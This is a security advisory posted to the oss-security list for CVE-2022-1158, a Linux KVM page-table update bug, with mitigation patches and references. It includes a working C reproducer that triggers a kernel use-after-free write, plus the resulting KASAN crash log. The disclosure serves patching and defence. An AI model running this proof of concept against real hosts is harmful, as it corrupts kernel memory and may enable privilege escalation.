Date: Fri, 8 Apr 2022 10:24:48 +0800
From: Qiuhao Li <qiuhao@...ec.org>
To: oss-security@...ts.openwall.com
Cc: pgn@....edu.cn, kangel <kangel@....edu.cn>, Tyler Hicks
 <code@...icks.com>, Marian Rehak <mrehak@...hat.com>,
 Paolo Bonzini <pbonzini@...hat.com>, John Haxby <john.haxby@...cle.com>
Subject: CVE-2022-1158: Linux Kernel v5.2+: x86/kvm: cmpxchg_gpte can write to
 pfns outside the userspace region

-- [Description

When KVM updates a guest's page table entry, it first tries to pin the page
with get_user_pages_fast(). If it fails and vma-->flags has VM_PFNMAP, it
will calculate the physical address, map the page to the kernel address
space and write the update [1]:

```
pfn = ((vaddr - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;
paddr = pfn << PAGE_SHIFT;
table = memremap(paddr, PAGE_SIZE, MEMREMAP_WB);
if (!table) {
     mmap_read_unlock(current->mm);
     return -EFAULT;
}
ret = CMPXCHG(&table[index], orig_pte, new_pte);
```

The vm_pgoff is used as the offset of pfns to get the page's pfn. However,
this hack only works for memory maps like /dev/mem where vm_pgoff is used as
the pfn passed to remap_pfn_range() [2]. For many other cases, it will be a
bug. E.g., io_uring [3] passed the pfn of its ring buffer to
remap_pfn_range() instead of vm_pgoff [4] [5]. As vaddr and vm_pgoff are
controllable by user-mode processes, writing may exceed the userspace region
and trigger exceptions.

This bug was introduced in v5.2 [6] and assigned CVE-2022-1158.

-- [Impact

/dev/kvm is accessible by unprivileged local users, so a userspace process
may leverage this bug to corrupt the kernel, resulting in a denial of
service condition or potentially achieving privilege escalation. But, since
the write is a compare-and-exchange operation that only updates the
Access/Dirty bit, we don't think exploiting this single bug will be easy.

-- [Mitigation

For distros and stable, Paolo Bonzini sent an inline assembly patch that
updates the gPTE using a valid userspace address [7].

With the same method, Sean Christopherson and Peter Zijlstra introduced
macros for CMPXCHG and replaced cmpxchg_gpte() with __try_cmpxchg_user()
[8].

-- [Reproducer

Here we use the mapped memory of io_uring as the guest's memory and perform
the KVM_TRANSLATE operation, triggering a UAF exception [9].

```
/*
* Tested on Linux v5.17 (KASLR disabled) with Debian 11.
* Leads to KASAN UAF write exception and endless page walking.
*/

#include <fcntl.h>
#include <linux/io_uring.h>
#include <linux/kvm.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
```

```
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define MMAP_ADDR ((void*)0x20000000)
#define MMAP_SIZE (0x1000000)
#define GUEST_MEM_ADDR ((void*)0x20004000)

void kvm_setup_user_mem(const int vm_fd, char* const host_mem)
{
   struct kvm_userspace_memory_region memreg = {.slot = 0};
   memreg.memory_size = 4096;
   memreg.userspace_addr = (uintptr_t)host_mem;
   ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, &memreg);
}

int main(void)
{
   mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE, \
   MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, -1, 0);

   int kvm_fd = open("/dev/kvm", O_RDWR | O_CLOEXEC);
   int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, (unsigned long)0);
   int vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, (unsigned long)0);

   // guest's mem: 0x20004000 - 0x20005000, 4k
   kvm_setup_user_mem(vm_fd, (char*)GUEST_MEM_ADDR);

   // io_uring map size: 4k * 0x100
   uint32_t entries = 64 * 0x100;
   struct io_uring_params params = {.flags = 0};
   int fd = syscall(__NR_io_uring_setup, entries, &params);
   size_t sz = params.sq_entries * sizeof(struct io_uring_sqe);
   // overlap with guest's mem
   void *vma = MMAP_ADDR;
   mmap(vma, sz, PROT_READ | PROT_WRITE, \
   MAP_SHARED | MAP_POPULATE | MAP_FIXED, fd, IORING_OFF_SQES);

   uint64_t *tmp = (uint64_t*)(GUEST_MEM_ADDR);
   *tmp = 1; // PDB = 0 PTE: Present = 1

   // PG: enable paging, CR3 = 0
   struct kvm_sregs kvm_sregs = {.cr0 = 0x80000000};
   ioctl(vcpu_fd, KVM_SET_SREGS, &kvm_sregs);

   struct kvm_translation kvm_translation = {.linear_address = 0x0};
   ioctl(vcpu_fd, KVM_TRANSLATE, &kvm_translation);
   // UAF: ffff888000000000+IORING_OFF_SQES+(GUEST_MEM_ADDR-vma)

   return 0;
}
```

-- [Credits

Qiuhao Li (Harbin Institute of Technology)
Gaoning Pan (Zhejiang University)
Yongkang Jia (Zhejiang University)

-- [Acknowledgments

Tyler Hicks, Marian Rehak, Paolo Bonzini, Sean Christopherson, and other
developers responded to our report fast and professionally. Thanks.

-- [References

[1]
https://github.com/torvalds/linux/blob/1930a6e739c4b4a654a69164dbe39e554d228915/arch/x86/kvm/mmu/paging_tmpl.h#L146

[2]
https://github.com/torvalds/linux/blob/1930a6e739c4b4a654a69164dbe39e554d228915/drivers/char/mem.c#L397
[3] https://kernel.dk/io_uring.pdf
[4]
https://github.com/torvalds/linux/blob/1930a6e739c4b4a654a69164dbe39e554d228915/fs/io_uring.c#L10767
[5]

https://github.com/torvalds/linux/blob/1930a6e739c4b4a654a69164dbe39e554d228915/fs/io_uring.c#L10772
[6]
https://github.com/torvalds/linux/commit/bd53cb35a3e9adb73a834a36586e9ad80e877767
[7]
https://git.kernel.org/pub/scm/virt/kvm/kvm.git/commit/?h=queue&id=2a8859f373b0a86f0ece8ec8312607eacf12485d
[8]
https://git.kernel.org/pub/scm/virt/kvm/kvm.git/commit/?id=cc8c837cf1b2f714dda723541c04acd1b8922d92
[9] KASAN Report
```
[   10.192115]
==================================================================
[   10.192696] BUG: KASAN: use-after-free in
paging32_walk_addr_generic+0xb99/0xd40
[   10.193273] Write of size 4 at addr ffff888010004000 by task a.out/234

[   10.193897] CPU: 0 PID: 234 Comm: a.out Not tainted 5.17.0 #9
[   10.194346] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.14.0-2 04/01/2014
[   10.194981] Call Trace:
[   10.195176]  <TASK>
[   10.195342]  dump_stack_lvl+0x34/0x44
[   10.195634]  print_address_description.constprop.0+0x1f/0x150
[   10.196075]  ? paging32_walk_addr_generic+0xb99/0xd40
[   10.196469]  kasan_report.cold+0x7f/0x11b
[   10.196786]  ? vmacache_find+0x91/0x100
[   10.197102]  ? paging32_walk_addr_generic+0xb99/0xd40
[   10.197490]  kasan_check_range+0xf5/0x1d0
[   10.197807]  paging32_walk_addr_generic+0xb99/0xd40
[   10.198181]  ? kvm_faultin_pfn+0x560/0x560
[   10.198510]  ? vmx_vcpu_pi_load+0x1e7/0x310
[   10.198843]  ? reset_guest_paging_metadata+0x163/0x210
[   10.199245]  paging32_gva_to_gpa+0x85/0x130
[   10.199575]  ? paging32_walk_addr_generic+0xd40/0xd40
[   10.199966]  ? vmx_vcpu_put+0x80/0x3c0
[   10.200265]  ? kvm_arch_vcpu_load+0x181/0x360
[   10.200611]  ? mutex_lock_killable+0x89/0xe0
[   10.200952]  kvm_arch_vcpu_ioctl_translate+0x6e/0xf0
[   10.201346]  kvm_vcpu_ioctl+0x66e/0x850
[   10.201659]  ? kvm_set_memory_region+0x40/0x40
[   10.202011]  ? faultin_vma_page_range+0x100/0x100
[   10.202382]  ? vm_mmap_pgoff+0x184/0x1e0
[   10.202696]  ? randomize_stack_top+0x80/0x80
[   10.203036]  ? __fget_light+0x1be/0x200
[   10.203333]  __x64_sys_ioctl+0xb1/0xf0
[   10.203654]  do_syscall_64+0x38/0x90
[   10.203861]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   10.204174] RIP: 0033:0x7f5f4088ecc7
[   10.204426] Code: 00 00 00 48 8b 05 c9 91 0c 00 64 c7 00 26 00 00 00
48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f
05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 99 91 0c 00 f7 d8 64 89 01 48
[   10.205783] RSP: 002b:00007ffc0b268878 EFLAGS: 00000217 ORIG_RAX:
0000000000000010
[   10.206359] RAX: ffffffffffffffda RBX: 0000000000000000 RCX:
00007f5f4088ecc7
[   10.206906] RDX: 00007ffc0b268880 RSI: 00000000c018ae85 RDI:
0000000000000005
[   10.207452] RBP: 00007ffc0b268a90 R08: 0000000000000006 R09:
0000000010000000
[   10.208000] R10: 0000000000008011 R11: 0000000000000217 R12:
00005630e22e1080
[   10.208557] R13: 0000000000000000 R14: 0000000000000000 R15:
0000000000000000
[   10.209118]  </TASK>

[   10.209421] The buggy address belongs to the page:
[   10.209794] page:000000008cfacc49 refcount:0 mapcount:0
mapping:0000000000000000 index:0x0 pfn:0x10004
[   10.210500] flags: 0x100000000000000(node=0|zone=1)
[   10.210882] raw: 0100000000000000 ffffea0000400108 ffffea0000400108
0000000000000000
[   10.211479] raw: 0000000000000000 0000000000000000 00000000ffffffff
0000000000000000
[   10.212071] page dumped because: kasan: bad access detected

[   10.212628] Memory state around the buggy address:
[   10.213014]  ffff888010003f00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff
[   10.213566]  ffff888010003f80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff
[   10.214119] >ffff888010004000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff
```

```
ff ff ff
[   10.214666]                     ^
[   10.214920]  ffff888010004080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff
[   10.215469]  ffff888010004100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff
[   10.216023]
=================================================================
[   10.216576] Disabling lock debugging due to kernel taint


Best Regards,
   Qiuhao Li
```